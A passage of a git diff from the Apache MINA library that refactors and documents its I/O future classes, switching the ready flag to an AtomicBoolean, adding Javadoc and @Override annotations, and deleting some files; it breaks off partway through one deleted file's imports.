+29,17 @@ public class DefaultCloseFuture extends DefaultIoFuture implements CloseFuture { /** * Creates a new instance. + * + * @param session The associated session */ public DefaultCloseFuture(IoSession session) { super(session); } + /** + * {@inheritDoc} + */ + @Override public boolean isClosed() { if (isDone()) { return ((Boolean) getValue()).booleanValue(); @@ -43,25 +48,41 @@ public boolean isClosed() { } } + /** + * {@inheritDoc} + */ + @Override public void setClosed() { setValue(Boolean.TRUE); } + /** + * {@inheritDoc} + */ @Override public CloseFuture await() throws InterruptedException { return (CloseFuture) super.await(); } + /** + * {@inheritDoc} + */ @Override public CloseFuture awaitUninterruptibly() { return (CloseFuture) super.awaitUninterruptibly(); } + /** + * {@inheritDoc} + */ @Override public CloseFuture addListener(IoFutureListener listener) { return (CloseFuture) super.addListener(listener); } + /** + * {@inheritDoc} + */ @Override public CloseFuture removeListener(IoFutureListener listener) { return (CloseFuture) super.removeListener(listener); diff --git a/mina-core/src/main/java/org/apache/mina/core/future/DefaultConnectFuture.java b/mina-core/src/main/java/org/apache/mina/core/future/DefaultConnectFuture.java index c77b589c58..83de82def5 100644 --- a/mina-core/src/main/java/org/apache/mina/core/future/DefaultConnectFuture.java +++ b/mina-core/src/main/java/org/apache/mina/core/future/DefaultConnectFuture.java @@ -22,52 +22,62 @@ import org.apache.mina.core.RuntimeIoException; import org.apache.mina.core.session.IoSession; - /** * A default implementation of {@link ConnectFuture}. * * @author Apache MINA Project */ -public class DefaultConnectFuture extends DefaultIoFuture implements - ConnectFuture { - +public class DefaultConnectFuture extends DefaultIoFuture implements ConnectFuture { + /** A static object stored into the ConnectFuture when teh connection has been cancelled */ private static final Object CANCELED = new Object(); /** - * Returns a new {@link ConnectFuture} which is already marked as 'failed to connect'. + * Creates a new instance. + */ + public DefaultConnectFuture() { + super(null); + } + + /** + * Creates a new instance of a Connection Failure, with the associated cause. + * + * @param exception The exception that caused the failure + * @return a new {@link ConnectFuture} which is already marked as 'failed to connect'. */ public static ConnectFuture newFailedFuture(Throwable exception) { DefaultConnectFuture failedFuture = new DefaultConnectFuture(); failedFuture.setException(exception); + return failedFuture; } /** - * Creates a new instance. + * {@inheritDoc} */ - public DefaultConnectFuture() { - super(null); - } - @Override public IoSession getSession() { Object v = getValue(); - if (v instanceof RuntimeException) { + + if (v instanceof IoSession) { + return (IoSession) v; + } else if (v instanceof RuntimeException) { throw (RuntimeException) v; } else if (v instanceof Error) { throw (Error) v; } else if (v instanceof Throwable) { - throw (RuntimeIoException) new RuntimeIoException( - "Failed to get the session.").initCause((Throwable) v); - } else if (v instanceof IoSession) { - return (IoSession) v; - } else { + throw (RuntimeIoException) new RuntimeIoException("Failed to get the session.").initCause((Throwable) v); + } else { return null; } } + /** + * {@inheritDoc} + */ + @Override public Throwable getException() { Object v = getValue(); + if (v instanceof Throwable) { return (Throwable) v; } else { @@ -75,47 +85,81 @@ public Throwable getException() { } } + /** + * {@inheritDoc} + */ + @Override public boolean isConnected() { return getValue() instanceof IoSession; } + /** + * {@inheritDoc} + */ + @Override public boolean isCanceled() { return getValue() == CANCELED; } + /** + * {@inheritDoc} + */ + @Override public void setSession(IoSession session) { if (session == null) { throw new IllegalArgumentException("session"); } + setValue(session); } + /** + * {@inheritDoc} + */ + @Override public void setException(Throwable exception) { if (exception == null) { throw new IllegalArgumentException("exception"); } + setValue(exception); } - public void cancel() { - setValue(CANCELED); + /** + * {@inheritDoc} + */ + @Override + public boolean cancel() { + return setValue(CANCELED); } + /** + * {@inheritDoc} + */ @Override public ConnectFuture await() throws InterruptedException { return (ConnectFuture) super.await(); } + /** + * {@inheritDoc} + */ @Override public ConnectFuture awaitUninterruptibly() { return (ConnectFuture) super.awaitUninterruptibly(); } + /** + * {@inheritDoc} + */ @Override public ConnectFuture addListener(IoFutureListener listener) { return (ConnectFuture) super.addListener(listener); } + /** + * {@inheritDoc} + */ @Override public ConnectFuture removeListener(IoFutureListener listener) { return (ConnectFuture) super.removeListener(listener); diff --git a/mina-core/src/main/java/org/apache/mina/core/future/DefaultIoFuture.java b/mina-core/src/main/java/org/apache/mina/core/future/DefaultIoFuture.java index 5a6186780d..1ff5d915b2 100644 --- a/mina-core/src/main/java/org/apache/mina/core/future/DefaultIoFuture.java +++ b/mina-core/src/main/java/org/apache/mina/core/future/DefaultIoFuture.java @@ -22,13 +22,13 @@ import java.util.ArrayList; import java.util.List; import java.util.concurrent.TimeUnit; +import java.util.concurrent.atomic.AtomicBoolean; import org.apache.mina.core.polling.AbstractPollingIoProcessor; import org.apache.mina.core.service.IoProcessor; import org.apache.mina.core.session.IoSession; import org.apache.mina.util.ExceptionMonitor; - /** * A default implementation of {@link IoFuture} associated with * an {@link IoSession}. @@ -37,18 +37,28 @@ */ public class DefaultIoFuture implements IoFuture { - /** A number of seconds to wait between two deadlock controls ( 5 seconds ) */ + /** A number of milliseconds to wait between two deadlock controls ( 5 seconds ) */ private static final long DEAD_LOCK_CHECK_INTERVAL = 5000L; /** The associated session */ private final IoSession session; - + /** A lock used by the wait() method */ private final Object lock; + + /** The first listener. This is easier to have this variable + * when we most of the time have one single listener */ private IoFutureListener firstListener; + + /** All the other listeners, in case we have more than one */ private List> otherListeners; + private Object result; - private boolean ready; + + /** The flag used to determinate if the Future is completed or not */ + private AtomicBoolean ready = new AtomicBoolean(false); + + /** A counter for the number of threads waiting on this future */ private int waiters; /** @@ -64,6 +74,7 @@ public DefaultIoFuture(IoSession session) { /** * {@inheritDoc} */ + @Override public IoSession getSession() { return session; } @@ -71,6 +82,7 @@ public IoSession getSession() { /** * @deprecated Replaced with {@link #awaitUninterruptibly()}. */ + @Override @Deprecated public void join() { awaitUninterruptibly(); @@ -79,6 +91,7 @@ public void join() { /** * @deprecated Replaced with {@link #awaitUninterruptibly(long)}. */ + @Override @Deprecated public boolean join(long timeoutMillis) { return awaitUninterruptibly(timeoutMillis); @@ -87,37 +100,42 @@ public boolean join(long timeoutMillis) { /** * {@inheritDoc} */ + @Override public IoFuture await() throws InterruptedException { synchronized (lock) { - while (!ready) { + while (!ready.get()) { waiters++; + try { // Wait for a notify, or if no notify is called, - // assume that we have a deadlock and exit the + // assume that we have a deadlock and exit the // loop to check for a potential deadlock. lock.wait(DEAD_LOCK_CHECK_INTERVAL); } finally { waiters--; - if (!ready) { + + if (!ready.get()) { checkDeadLock(); } } } } + return this; } /** * {@inheritDoc} */ - public boolean await(long timeout, TimeUnit unit) - throws InterruptedException { - return await(unit.toMillis(timeout)); + @Override + public boolean await(long timeout, TimeUnit unit) throws InterruptedException { + return await0(unit.toMillis(timeout), true); } /** * {@inheritDoc} */ + @Override public boolean await(long timeoutMillis) throws InterruptedException { return await0(timeoutMillis, true); } @@ -125,39 +143,46 @@ public boolean await(long timeoutMillis) throws InterruptedException { /** * {@inheritDoc} */ + @Override public IoFuture awaitUninterruptibly() { try { await0(Long.MAX_VALUE, false); - } catch ( InterruptedException ie) { + } catch (InterruptedException ie) { // Do nothing : this catch is just mandatory by contract } - + return this; } /** * {@inheritDoc} */ + @Override public boolean awaitUninterruptibly(long timeout, TimeUnit unit) { - return awaitUninterruptibly(unit.toMillis(timeout)); + try { + return await0(unit.toMillis(timeout), false); + } catch (InterruptedException e) { + throw new IllegalStateException(); + } } /** * {@inheritDoc} */ + @Override public boolean awaitUninterruptibly(long timeoutMillis) { try { return await0(timeoutMillis, false); } catch (InterruptedException e) { - throw new InternalError(); + throw new IllegalStateException(); } } /** - * Wait for the Future to be ready. If the requested delay is 0 or - * negative, this method immediately returns the value of the - * 'ready' flag. - * Every 5 second, the wait will be suspended to be able to check if + * Wait for the Future to be ready. If the requested delay is 0 or + * negative, this method immediately returns the value of the + * 'ready' flag. + * Every 5 second, the wait will be suspended to be able to check if * there is a deadlock or not. * * @param timeoutMillis The delay we will wait for the Future to be ready @@ -168,24 +193,29 @@ public boolean awaitUninterruptibly(long timeoutMillis) { */ private boolean await0(long timeoutMillis, boolean interruptable) throws InterruptedException { long endTime = System.currentTimeMillis() + timeoutMillis; - + if (endTime < 0) { endTime = Long.MAX_VALUE; } synchronized (lock) { - if (ready) { - return ready; - } else if (timeoutMillis <= 0) { - return ready; + // We can quit if the ready flag is set to true, or if + // the timeout is set to 0 or below : we don't wait in this case. + if (ready.get()||(timeoutMillis <= 0)) { + return ready.get(); } + // The operation is not completed : we have to wait waiters++; - + try { for (;;) { try { long timeOut = Math.min(timeoutMillis, DEAD_LOCK_CHECK_INTERVAL); + + // Wait for the requested period of time, + // but every DEAD_LOCK_CHECK_INTERVAL seconds, we will + // check that we aren't blocked. lock.wait(timeOut); } catch (InterruptedException e) { if (interruptable) { @@ -193,37 +223,39 @@ private boolean await0(long timeoutMillis, boolean interruptable) throws Interru } } - if (ready) { - return true; - } - - if (endTime < System.currentTimeMillis()) { - return ready; + if (ready.get() || (endTime < System.currentTimeMillis())) { + return ready.get(); + } else { + // Take a chance, detect a potential deadlock + checkDeadLock(); } } } finally { + // We get here for 3 possible reasons : + // 1) We have been notified (the operation has completed a way or another) + // 2) We have reached the timeout + // 3) The thread has been interrupted + // In any case, we decrement the number of waiters, and we get out. waiters--; - if (!ready) { + + if (!ready.get()) { checkDeadLock(); } } } } - /** - * - * TODO checkDeadLock. - * + * Check for a deadlock, ie look into the stack trace that we don't have already an + * instance of the caller. */ private void checkDeadLock() { - // Only read / write / connect / write future can cause dead lock. - if (!(this instanceof CloseFuture || this instanceof WriteFuture || - this instanceof ReadFuture || this instanceof ConnectFuture)) { + // Only read / write / connect / write future can cause dead lock. + if (!(this instanceof CloseFuture || this instanceof WriteFuture || this instanceof ReadFuture || this instanceof ConnectFuture)) { return; } - - // Get the current thread stackTrace. + + // Get the current thread stackTrace. // Using Thread.currentThread().getStackTrace() is the best solution, // even if slightly less efficient than doing a new Exception().getStackTrace(), // as internally, it does exactly the same thing. The advantage of using @@ -232,30 +264,28 @@ private void checkDeadLock() { StackTraceElement[] stackTrace = Thread.currentThread().getStackTrace(); // Simple and quick check. - for (StackTraceElement s: stackTrace) { - if (AbstractPollingIoProcessor.class.getName().equals(s.getClassName())) { - IllegalStateException e = new IllegalStateException( "t" ); + for (StackTraceElement stackElement : stackTrace) { + if (AbstractPollingIoProcessor.class.getName().equals(stackElement.getClassName())) { + IllegalStateException e = new IllegalStateException("t"); e.getStackTrace(); - throw new IllegalStateException( - "DEAD LOCK: " + IoFuture.class.getSimpleName() + - ".await() was invoked from an I/O processor thread. " + - "Please use " + IoFutureListener.class.getSimpleName() + - " or configure a proper thread model alternatively."); + throw new IllegalStateException("DEAD LOCK: " + IoFuture.class.getSimpleName() + + ".await() was invoked from an I/O processor thread. " + "Please use " + + IoFutureListener.class.getSimpleName() + " or configure a proper thread model alternatively."); } } // And then more precisely. - for (StackTraceElement s: stackTrace) { + for (StackTraceElement s : stackTrace) { try { Class cls = DefaultIoFuture.class.getClassLoader().loadClass(s.getClassName()); + if (IoProcessor.class.isAssignableFrom(cls)) { - throw new IllegalStateException( - "DEAD LOCK: " + IoFuture.class.getSimpleName() + - ".await() was invoked from an I/O processor thread. " + - "Please use " + IoFutureListener.class.getSimpleName() + - " or configure a proper thread model alternatively."); + throw new IllegalStateException("DEAD LOCK: " + IoFuture.class.getSimpleName() + + ".await() was invoked from an I/O processor thread. " + "Please use " + + IoFutureListener.class.getSimpleName() + + " or configure a proper thread model alternatively."); } - } catch (Exception cnfe) { + } catch (ClassNotFoundException cnfe) { // Ignore } } @@ -264,34 +294,42 @@ private void checkDeadLock() { /** * {@inheritDoc} */ + @Override public boolean isDone() { - synchronized (lock) { - return ready; - } + return ready.get(); } /** * Sets the result of the asynchronous operation, and mark it as finished. + * + * @param newValue The result to store into the Future + * @return {@code true} if the value has been set, {@code false} if + * the future already has a value (thus is in ready state) */ - public void setValue(Object newValue) { + public boolean setValue(Object newValue) { synchronized (lock) { - // Allow only once. - if (ready) { - return; + // Allowed only once. + if (ready.get()) { + return false; } result = newValue; - ready = true; + ready.set(true); + + // Now, if we have waiters, notify them that the operation has completed if (waiters > 0) { lock.notifyAll(); } } + // Last, not least, inform the listeners notifyListeners(); + + return true; } /** - * Returns the result of the asynchronous operation. + * @return the result of the asynchronous operation. */ protected Object getValue() { synchronized (lock) { @@ -302,45 +340,48 @@ protected Object getValue() { /** * {@inheritDoc} */ + @Override public IoFuture addListener(IoFutureListener listener) { if (listener == null) { throw new IllegalArgumentException("listener"); } - boolean notifyNow = false; synchronized (lock) { - if (ready) { - notifyNow = true; + if (ready.get()) { + // Shortcut : if the operation has completed, no need to + // add a new listener, we just have to notify it. The existing + // listeners have already been notified anyway, when the + // 'ready' flag has been set. + notifyListener(listener); } else { if (firstListener == null) { firstListener = listener; } else { if (otherListeners == null) { - otherListeners = new ArrayList>(1); + otherListeners = new ArrayList<>(1); } + otherListeners.add(listener); } } } - - if (notifyNow) { - notifyListener(listener); - } + return this; } /** * {@inheritDoc} */ + @Override public IoFuture removeListener(IoFutureListener listener) { if (listener == null) { throw new IllegalArgumentException("listener"); } synchronized (lock) { - if (!ready) { + if (!ready.get()) { if (listener == firstListener) { - if (otherListeners != null && !otherListeners.isEmpty()) { + if ((otherListeners != null) && !otherListeners.isEmpty()) { firstListener = otherListeners.remove(0); } else { firstListener = null; @@ -354,6 +395,9 @@ public IoFuture removeListener(IoFutureListener listener) { return this; } + /** + * Notify the listeners, if we have some. + */ private void notifyListeners() { // There won't be any visibility problem or concurrent modification // because 'ready' flag will be checked against both addListener and @@ -363,20 +407,21 @@ private void notifyListeners() { firstListener = null; if (otherListeners != null) { - for (IoFutureListener l : otherListeners) { - notifyListener(l); + for (IoFutureListener listener : otherListeners) { + notifyListener(listener); } + otherListeners = null; } } } @SuppressWarnings("unchecked") - private void notifyListener(IoFutureListener l) { + private void notifyListener(IoFutureListener listener) { try { - l.operationComplete(this); - } catch (Throwable t) { - ExceptionMonitor.getInstance().exceptionCaught(t); + listener.operationComplete(this); + } catch (Exception e) { + ExceptionMonitor.getInstance().exceptionCaught(e); } } } diff --git a/mina-core/src/main/java/org/apache/mina/core/future/DefaultReadFuture.java b/mina-core/src/main/java/org/apache/mina/core/future/DefaultReadFuture.java index 0643a9dbcb..b2225c3edb 100644 --- a/mina-core/src/main/java/org/apache/mina/core/future/DefaultReadFuture.java +++ b/mina-core/src/main/java/org/apache/mina/core/future/DefaultReadFuture.java @@ -24,119 +24,157 @@ import org.apache.mina.core.RuntimeIoException; import org.apache.mina.core.session.IoSession; - /** * A default implementation of {@link WriteFuture}. * * @author Apache MINA Project */ public class DefaultReadFuture extends DefaultIoFuture implements ReadFuture { - + /** A static object used when the session is closed */ private static final Object CLOSED = new Object(); - + /** * Creates a new instance. + * + * @param session The associated session */ public DefaultReadFuture(IoSession session) { super(session); } - + + /** + * {@inheritDoc} + */ + @Override public Object getMessage() { if (isDone()) { Object v = getValue(); + if (v == CLOSED) { return null; } + + if (v instanceof RuntimeException) { + throw (RuntimeException) v; + } - if (v instanceof ExceptionHolder) { - v = ((ExceptionHolder) v).exception; - if (v instanceof RuntimeException) { - throw (RuntimeException) v; - } - if (v instanceof Error) { - throw (Error) v; - } - if (v instanceof IOException || v instanceof Exception) { - throw new RuntimeIoException((Exception) v); - } + if (v instanceof Error) { + throw (Error) v; } + if (v instanceof IOException || v instanceof Exception) { + throw new RuntimeIoException((Exception) v); + } + return v; } return null; } - + /** + * {@inheritDoc} + */ + @Override public boolean isRead() { if (isDone()) { Object v = getValue(); - return (v != CLOSED && !(v instanceof ExceptionHolder)); + + return v != CLOSED && !(v instanceof Throwable); } + return false; } - + + /** + * {@inheritDoc} + */ + @Override public boolean isClosed() { if (isDone()) { return getValue() == CLOSED; } + return false; } + /** + * {@inheritDoc} + */ + @Override public Throwable getException() { if (isDone()) { Object v = getValue(); - if (v instanceof ExceptionHolder) { - return ((ExceptionHolder) v).exception; + + if (v instanceof Throwable) { + return (Throwable)v; } } + return null; } + /** + * {@inheritDoc} + */ + @Override public void setClosed() { setValue(CLOSED); } + /** + * {@inheritDoc} + */ + @Override public void setRead(Object message) { if (message == null) { throw new IllegalArgumentException("message"); } + setValue(message); } + /** + * {@inheritDoc} + */ + @Override public void setException(Throwable exception) { if (exception == null) { throw new IllegalArgumentException("exception"); } - - setValue(new ExceptionHolder(exception)); + + setValue(exception); } + /** + * {@inheritDoc} + */ @Override public ReadFuture await() throws InterruptedException { return (ReadFuture) super.await(); } + /** + * {@inheritDoc} + */ @Override public ReadFuture awaitUninterruptibly() { return (ReadFuture) super.awaitUninterruptibly(); } + /** + * {@inheritDoc} + */ @Override public ReadFuture addListener(IoFutureListener listener) { return (ReadFuture) super.addListener(listener); } + /** + * {@inheritDoc} + */ @Override public ReadFuture removeListener(IoFutureListener listener) { return (ReadFuture) super.removeListener(listener); } - - private static class ExceptionHolder { - private final Throwable exception; - - private ExceptionHolder(Throwable exception) { - this.exception = exception; - } - } } diff --git a/mina-core/src/main/java/org/apache/mina/core/future/DefaultWriteFuture.java b/mina-core/src/main/java/org/apache/mina/core/future/DefaultWriteFuture.java index 0d81f92631..7b5b0b8570 100644 --- a/mina-core/src/main/java/org/apache/mina/core/future/DefaultWriteFuture.java +++ b/mina-core/src/main/java/org/apache/mina/core/future/DefaultWriteFuture.java @@ -21,79 +21,97 @@ import org.apache.mina.core.session.IoSession; - /** * A default implementation of {@link WriteFuture}. * * @author Apache MINA Project */ public class DefaultWriteFuture extends DefaultIoFuture implements WriteFuture { + /** + * Creates a new instance. + * + * @param session The associated session + */ + public DefaultWriteFuture(IoSession session) { + super(session); + } + /** * Returns a new {@link DefaultWriteFuture} which is already marked as 'written'. + * + * @param session The associated session + * @return A new future for a written message */ public static WriteFuture newWrittenFuture(IoSession session) { - DefaultWriteFuture unwrittenFuture = new DefaultWriteFuture(session); - unwrittenFuture.setWritten(); - return unwrittenFuture; + DefaultWriteFuture writtenFuture = new DefaultWriteFuture(session); + writtenFuture.setWritten(); + + return writtenFuture; } /** * Returns a new {@link DefaultWriteFuture} which is already marked as 'not written'. + * + * @param session The associated session + * @param cause The reason why the message has not be written + * @return A new future for not written message */ public static WriteFuture newNotWrittenFuture(IoSession session, Throwable cause) { DefaultWriteFuture unwrittenFuture = new DefaultWriteFuture(session); unwrittenFuture.setException(cause); + return unwrittenFuture; } - /** - * Creates a new instance. - */ - public DefaultWriteFuture(IoSession session) { - super(session); - } - /** * {@inheritDoc} */ + @Override public boolean isWritten() { if (isDone()) { Object v = getValue(); + if (v instanceof Boolean) { return ((Boolean) v).booleanValue(); } } + return false; } - + /** * {@inheritDoc} */ + @Override public Throwable getException() { if (isDone()) { Object v = getValue(); + if (v instanceof Throwable) { return (Throwable) v; } } + return null; } /** * {@inheritDoc} */ + @Override public void setWritten() { setValue(Boolean.TRUE); } - + /** * {@inheritDoc} */ + @Override public void setException(Throwable exception) { if (exception == null) { throw new IllegalArgumentException("exception"); } - + setValue(exception); } diff --git a/mina-core/src/main/java/org/apache/mina/core/future/IoFuture.java b/mina-core/src/main/java/org/apache/mina/core/future/IoFuture.java index 7ada25cec8..330287a4a6 100644 --- a/mina-core/src/main/java/org/apache/mina/core/future/IoFuture.java +++ b/mina-core/src/main/java/org/apache/mina/core/future/IoFuture.java @@ -32,7 +32,7 @@ */ public interface IoFuture { /** - * Returns the {@link IoSession} which is associated with this future. + * @return the {@link IoSession} which is associated with this future. */ IoSession getSession(); @@ -40,20 +40,28 @@ public interface IoFuture { * Wait for the asynchronous operation to complete. * The attached listeners will be notified when the operation is * completed. + * + * @return The instance of IoFuture that we are waiting for + * @exception InterruptedException If the thread is interrupted while waiting */ IoFuture await() throws InterruptedException; /** * Wait for the asynchronous operation to complete with the specified timeout. * - * @return true if the operation is completed. + * @param timeout The maximum delay to wait before getting out + * @param unit the type of unit for the delay (seconds, minutes...) + * @return true if the operation is completed. + * @exception InterruptedException If the thread is interrupted while waiting */ boolean await(long timeout, TimeUnit unit) throws InterruptedException; /** * Wait for the asynchronous operation to complete with the specified timeout. * - * @return true if the operation is completed. + * @param timeoutMillis The maximum milliseconds to wait before getting out + * @return true if the operation is completed. + * @exception InterruptedException If the thread is interrupted while waiting */ boolean await(long timeoutMillis) throws InterruptedException; @@ -70,7 +78,9 @@ public interface IoFuture { * Wait for the asynchronous operation to complete with the specified timeout * uninterruptibly. * - * @return true if the operation is completed. + * @param timeout The maximum delay to wait before getting out + * @param unit the type of unit for the delay (seconds, minutes...) + * @return true if the operation is completed. */ boolean awaitUninterruptibly(long timeout, TimeUnit unit); @@ -78,7 +88,8 @@ public interface IoFuture { * Wait for the asynchronous operation to complete with the specified timeout * uninterruptibly. * - * @return true if the operation is finished. + * @param timeoutMillis The maximum milliseconds to wait before getting out + * @return true if the operation is finished. */ boolean awaitUninterruptibly(long timeoutMillis); @@ -90,25 +101,34 @@ public interface IoFuture { /** * @deprecated Replaced with {@link #awaitUninterruptibly(long)}. + * + * @param timeoutMillis The time to wait for the join before bailing out + * @return true if the join was successful */ @Deprecated boolean join(long timeoutMillis); /** - * Returns if the asynchronous operation is completed. + * @return true if the operation is completed. */ boolean isDone(); /** - * Adds an event listener which is notified when + * Adds an event listener which is notified when * this future is completed. If the listener is added * after the completion, the listener is directly notified. + * + * @param listener The listener to add + * @return the current IoFuture */ IoFuture addListener(IoFutureListener listener); /** - * Removes an existing event listener so it won't be notified when + * Removes an existing event listener so it won't be notified when * the future is completed. + * + * @param listener The listener to remove + * @return the current IoFuture */ IoFuture removeListener(IoFutureListener listener); } diff --git a/mina-core/src/main/java/org/apache/mina/core/future/IoFutureListener.java b/mina-core/src/main/java/org/apache/mina/core/future/IoFutureListener.java index 4963a37303..33d7d5371a 100644 --- a/mina-core/src/main/java/org/apache/mina/core/future/IoFutureListener.java +++ b/mina-core/src/main/java/org/apache/mina/core/future/IoFutureListener.java @@ -26,6 +26,8 @@ /** * Something interested in being notified when the completion * of an asynchronous I/O operation : {@link IoFuture}. + * + * @param The Future type * * @author Apache MINA Project */ @@ -34,9 +36,13 @@ public interface IoFutureListener extends EventListener { * An {@link IoFutureListener} that closes the {@link IoSession} which is * associated with the specified {@link IoFuture}. */ - static IoFutureListener CLOSE = new IoFutureListener() { + IoFutureListener CLOSE = new IoFutureListener() { + /** + * {@inheritDoc} + */ + @Override public void operationComplete(IoFuture future) { - future.getSession().close(true); + future.getSession().closeNow(); } }; diff --git a/mina-core/src/main/java/org/apache/mina/core/future/ReadFuture.java b/mina-core/src/main/java/org/apache/mina/core/future/ReadFuture.java index 808ab3f016..b1ededa085 100644 --- a/mina-core/src/main/java/org/apache/mina/core/future/ReadFuture.java +++ b/mina-core/src/main/java/org/apache/mina/core/future/ReadFuture.java @@ -24,15 +24,18 @@ /** * An {@link IoFuture} for {@link IoSession#read() asynchronous read requests}. * - *

Example

+ *

Example

*
  * IoSession session = ...;
+ * 
  * // useReadOperation must be enabled to use read operation.
  * session.getConfig().setUseReadOperation(true);
  * 
  * ReadFuture future = session.read();
+ * 
  * // Wait until a message is received.
- * future.await();
+ * future.awaitUninterruptibly();
+ * 
  * try {
  *     Object message = future.getMessage();
  * } catch (Exception e) {
@@ -43,30 +46,30 @@
  * @author Apache MINA Project
  */
 public interface ReadFuture extends IoFuture {
-    
+
     /**
-     * Returns the received message.  It returns null if this
-     * future is not ready or the associated {@link IoSession} has been closed. 
+     * Get the read message.
      * 
-     * @throws RuntimeException if read or any relevant operation has failed.
+     * @return the received message.  It returns null if this
+     * future is not ready or the associated {@link IoSession} has been closed. 
      */
     Object getMessage();
-    
+
     /**
-     * Returns true if a message was received successfully.
+     * @return true if a message was received successfully.
      */
     boolean isRead();
-    
+
     /**
-     * Returns true if the {@link IoSession} associated with this
+     * @return true if the {@link IoSession} associated with this
      * future has been closed.
      */
     boolean isClosed();
-    
+
     /**
-     * Returns the cause of the read failure if and only if the read
+     * @return the cause of the read failure if and only if the read
      * operation has failed due to an {@link Exception}.  Otherwise,
-     * null is returned.
+     * null is returned.
      */
     Throwable getException();
 
@@ -74,27 +77,47 @@ public interface ReadFuture extends IoFuture {
      * Sets the message is written, and notifies all threads waiting for
      * this future.  This method is invoked by MINA internally.  Please do
      * not call this method directly.
+     * 
+     * @param message The received message to store in this future
      */
     void setRead(Object message);
-    
+
     /**
      * Sets the associated {@link IoSession} is closed.  This method is invoked
      * by MINA internally.  Please do not call this method directly.
      */
     void setClosed();
-    
+
     /**
      * Sets the cause of the read failure, and notifies all threads waiting
      * for this future.  This method is invoked by MINA internally.  Please
      * do not call this method directly.
+     * 
+     * @param cause The exception to store in the Future instance
      */
     void setException(Throwable cause);
 
+    /**
+     * {@inheritDoc}
+     */
+    @Override
     ReadFuture await() throws InterruptedException;
 
+    /**
+     * {@inheritDoc}
+     */
+    @Override
     ReadFuture awaitUninterruptibly();
 
+    /**
+     * {@inheritDoc}
+     */
+    @Override
     ReadFuture addListener(IoFutureListener listener);
 
+    /**
+     * {@inheritDoc}
+     */
+    @Override
     ReadFuture removeListener(IoFutureListener listener);
 }
diff --git a/mina-core/src/main/java/org/apache/mina/core/future/WriteFuture.java b/mina-core/src/main/java/org/apache/mina/core/future/WriteFuture.java
index 19e23f5d0b..58777c5b23 100644
--- a/mina-core/src/main/java/org/apache/mina/core/future/WriteFuture.java
+++ b/mina-core/src/main/java/org/apache/mina/core/future/WriteFuture.java
@@ -19,23 +19,24 @@
  */
 package org.apache.mina.core.future;
 
-
 /**
  * An {@link IoFuture} for asynchronous write requests.
  *
- * 

Example

+ *

Example

*
  * IoSession session = ...;
  * WriteFuture future = session.write(...);
+ * 
  * // Wait until the message is completely written out to the O/S buffer.
- * future.join();
+ * future.awaitUninterruptibly();
+ * 
  * if( future.isWritten() )
  * {
  *     // The message has been written successfully.
  * }
  * else
  * {
- *     // The messsage couldn't be written out completely for some reason.
+ *     // The message couldn't be written out completely for some reason.
  *     // (e.g. Connection is closed)
  * }
  * 
@@ -44,14 +45,14 @@ */ public interface WriteFuture extends IoFuture { /** - * Returns true if the write operation is finished successfully. + * @return true if the write operation is finished successfully. */ boolean isWritten(); - + /** - * Returns the cause of the write failure if and only if the write + * @return the cause of the write failure if and only if the write * operation has failed due to an {@link Exception}. Otherwise, - * null is returned. + * null is returned. */ Throwable getException(); @@ -61,11 +62,13 @@ public interface WriteFuture extends IoFuture { * not call this method directly. */ void setWritten(); - + /** * Sets the cause of the write failure, and notifies all threads waiting * for this future. This method is invoked by MINA internally. Please * do not call this method directly. + * + * @param cause The exception to store in the Future instance */ void setException(Throwable cause); @@ -75,22 +78,26 @@ public interface WriteFuture extends IoFuture { * completed. * * @return the created {@link WriteFuture} - * @throws InterruptedException + * @throws InterruptedException If the wait is interrupted */ + @Override WriteFuture await() throws InterruptedException; /** * {@inheritDoc} */ + @Override WriteFuture awaitUninterruptibly(); /** * {@inheritDoc} */ + @Override WriteFuture addListener(IoFutureListener listener); /** * {@inheritDoc} */ + @Override WriteFuture removeListener(IoFutureListener listener); } diff --git a/mina-core/src/main/java/org/apache/mina/filter/reqres/ResponseType.java b/mina-core/src/main/java/org/apache/mina/core/package-info.java similarity index 87% rename from mina-core/src/main/java/org/apache/mina/filter/reqres/ResponseType.java rename to mina-core/src/main/java/org/apache/mina/core/package-info.java index f8a2b327ca..5ffd1789bb 100644 --- a/mina-core/src/main/java/org/apache/mina/filter/reqres/ResponseType.java +++ b/mina-core/src/main/java/org/apache/mina/core/package-info.java @@ -17,13 +17,10 @@ * under the License. * */ -package org.apache.mina.filter.reqres; /** - * TODO Add documentation + * Common types required for users to use MINA. * * @author Apache MINA Project */ -public enum ResponseType { - WHOLE, PARTIAL, PARTIAL_LAST; -} +package org.apache.mina.core; diff --git a/mina-core/src/main/java/org/apache/mina/core/package.html b/mina-core/src/main/java/org/apache/mina/core/package.html deleted file mode 100644 index f65305d64b..0000000000 --- a/mina-core/src/main/java/org/apache/mina/core/package.html +++ /dev/null @@ -1,24 +0,0 @@ - - - - - - -Common types required for users to use MINA. - - diff --git a/mina-core/src/main/java/org/apache/mina/core/polling/AbstractPollingConnectionlessIoAcceptor.java b/mina-core/src/main/java/org/apache/mina/core/polling/AbstractPollingConnectionlessIoAcceptor.java deleted file mode 100644 index a978323925..0000000000 --- a/mina-core/src/main/java/org/apache/mina/core/polling/AbstractPollingConnectionlessIoAcceptor.java +++ /dev/null @@ -1,647 +0,0 @@ -/* - * Licensed to the Apache Software Foundation (ASF) under one - * or more contributor license agreements. See the NOTICE file - * distributed with this work for additional information - * regarding copyright ownership. The ASF licenses this file - * to you under the Apache License, Version 2.0 (the - * "License"); you may not use this file except in compliance - * with the License. You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, - * software distributed under the License is distributed on an - * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY - * KIND, either express or implied. See the License for the - * specific language governing permissions and limitations - * under the License. - * - */ -package org.apache.mina.core.polling; - -import java.net.Inet4Address; -import java.net.Inet6Address; -import java.net.InetAddress; -import java.net.InetSocketAddress; -import java.net.SocketAddress; -import java.util.Collections; -import java.util.HashMap; -import java.util.HashSet; -import java.util.Iterator; -import java.util.List; -import java.util.Map; -import java.util.Queue; -import java.util.Set; -import java.util.concurrent.ConcurrentLinkedQueue; -import java.util.concurrent.Executor; - -import org.apache.mina.core.RuntimeIoException; -import org.apache.mina.core.buffer.IoBuffer; -import org.apache.mina.core.service.AbstractIoAcceptor; -import org.apache.mina.core.service.IoAcceptor; -import org.apache.mina.core.service.IoProcessor; -import org.apache.mina.core.session.AbstractIoSession; -import org.apache.mina.core.session.ExpiringSessionRecycler; -import org.apache.mina.core.session.IoSession; -import org.apache.mina.core.session.IoSessionConfig; -import org.apache.mina.core.session.IoSessionRecycler; -import org.apache.mina.core.write.WriteRequest; -import 